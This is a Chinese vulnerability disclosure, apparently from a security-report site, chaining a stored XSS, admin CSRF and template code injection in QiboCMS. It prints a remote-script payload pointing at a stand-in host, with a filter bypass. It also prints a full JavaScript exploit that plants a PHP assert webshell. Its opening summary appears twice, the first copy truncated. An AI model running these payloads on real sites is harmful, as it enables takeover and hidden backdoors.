### 简要描述: 齐博cms,利用威胁不大的前台存储型xss+没有任何危害的后台CSRF+几乎无影响可忽略的后台getshell 3个0day 结合起来的威力拿下齐博cms,虽然不算什么严重的漏洞,但是中途遇到的问题和突破还是聊以慰藉的,还请各位看官轻轻拍砖. ——by pandas ### 详细说明: 前一段时间西毒爆出qibocms 0day的时候 就看过齐博cms的代码,发现了几个后台的getshell,后台getshell很多,拿不出手,厂商也是无影响积极忽略的态度,后台提交表单基本都存在CSRF,如果能有一个前台的getshell威力应该会增加许多,于是就去前台黑盒挖出了一个xss.这样结合起来就可以getshell了. 1.存储型XSS位置:会员中心->万能表单->发布信息->版主申请: postdb[sortname][] 的提交值没有经过过滤,但是进行了长度限制,不过这个长度足以写`<script src="http://xxx.com/1.js">`,提交之后需要管理员在后台->快捷菜单->万能表单模型管理->版主申请->管理->查看详情 处触发.发现斜杠被替换了所以改用反斜杠`<script src="http:\\xxx.com\1.js">`. 1.js是我们需要外部加载的内容.这里需要提交一个表单,位于 后台系统功能->插件管理->积分介绍管理(jfadmin_mod)修改积分介绍其中的任何一个,在标题或内容处插入`${@phpinfo();}`。便可以造成代码执行. 于是就提交一个php写文件的代码即可. 1.js内容如下: ``` thisTHost = top.location.hostname; thisTHost = "http://"+thisTHost+"/v7/admin/index.php?lfj=jfadmin&action=addjf"; function PostSubmit(url) { var postUrl = url; var ExportForm = document.createElement("FORM"); document.body.appendChild(ExportForm); ExportForm.method = "POST"; var newElement =...
### 简要描述: 齐博cms,利用威胁不大的前台存储型xss+没有任何危害的后台CSRF+几乎无影响可忽略的后台getshell 3个0day 结合起来的威力拿下齐博cms,虽然不算什么严重的漏洞,但是中途遇到的问题和突破还是聊以慰藉的,还请各位看官轻轻拍砖. ——by pandas ### 详细说明: 前一段时间西毒爆出qibocms 0day的时候 就看过齐博cms的代码,发现了几个后台的getshell,后台getshell很多,拿不出手,厂商也是无影响积极忽略的态度,后台提交表单基本都存在CSRF,如果能有一个前台的getshell威力应该会增加许多,于是就去前台黑盒挖出了一个xss.这样结合起来就可以getshell了. 1.存储型XSS位置:会员中心->万能表单->发布信息->版主申请: postdb[sortname][] 的提交值没有经过过滤,但是进行了长度限制,不过这个长度足以写`<script src="http://xxx.com/1.js">`,提交之后需要管理员在后台->快捷菜单->万能表单模型管理->版主申请->管理->查看详情 处触发.发现斜杠被替换了所以改用反斜杠`<script src="http:\\xxx.com\1.js">`. 1.js是我们需要外部加载的内容.这里需要提交一个表单,位于 后台系统功能->插件管理->积分介绍管理(jfadmin_mod)修改积分介绍其中的任何一个,在标题或内容处插入`${@phpinfo();}`。便可以造成代码执行. 于是就提交一个php写文件的代码即可. 1.js内容如下: ``` thisTHost = top.location.hostname; thisTHost = "http://"+thisTHost+"/v7/admin/index.php?lfj=jfadmin&action=addjf"; function PostSubmit(url) { var postUrl = url; var ExportForm = document.createElement("FORM"); document.body.appendChild(ExportForm); ExportForm.method = "POST"; var newElement = document.createElement("input"); newElement.setAttribute("name", "title"); var newElement2 = document.createElement("input"); newElement2.setAttribute("name", "fid"); var newElement3 = document.createElement("input"); newElement3.setAttribute("name", "list"); var newElement4 = document.createElement("input"); newElement4.setAttribute("name", "content"); ExportForm.appendChild(newElement); ExportForm.appendChild(newElement2); ExportForm.appendChild(newElement3); ExportForm.appendChild(newElement4); newElement.value = "${@fwrite(fopen('doggy.php', 'w+'), '<?php assert($_POST[aaa]);?>')}"; newElement2.value = 1; newElement3.value = 1; newElement4.value = 1; ExportForm.action = postUrl; ExportForm.submit(); }; PostSubmit(thisTHost); ``` ### 漏洞证明: 分为两个部分证明: 1.用户部分 1)登录 [<img src="https://images.seebug.org/upload/201401/201527594c5151b73cb9f8869d899fb70525f4c3.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/201527594c5151b73cb9f8869d899fb70525f4c3.jpg) 2)写xss [<img src="https://images.seebug.org/upload/201401/2015284841c3de9fdaac006e16bad5d489d43b73.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/2015284841c3de9fdaac006e16bad5d489d43b73.jpg) 2.管理员部分 查看申请 [<img src="https://images.seebug.org/upload/201401/2015293135a27cc1908053c5b136125598b7f291.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/2015293135a27cc1908053c5b136125598b7f291.jpg) 在网站/admin目录下会增加doggy.php [<img src="https://images.seebug.org/upload/201401/2015302220f7795c4e8afef45f3f4a711619cce7.jpg" alt="4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/2015302220f7795c4e8afef45f3f4a711619cce7.jpg) 内容: [<img src="https://images.seebug.org/upload/201401/2015304557a1bd690496cc42b813bcb3dd61da88.jpg" alt="5.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/2015304557a1bd690496cc42b813bcb3dd61da88.jpg)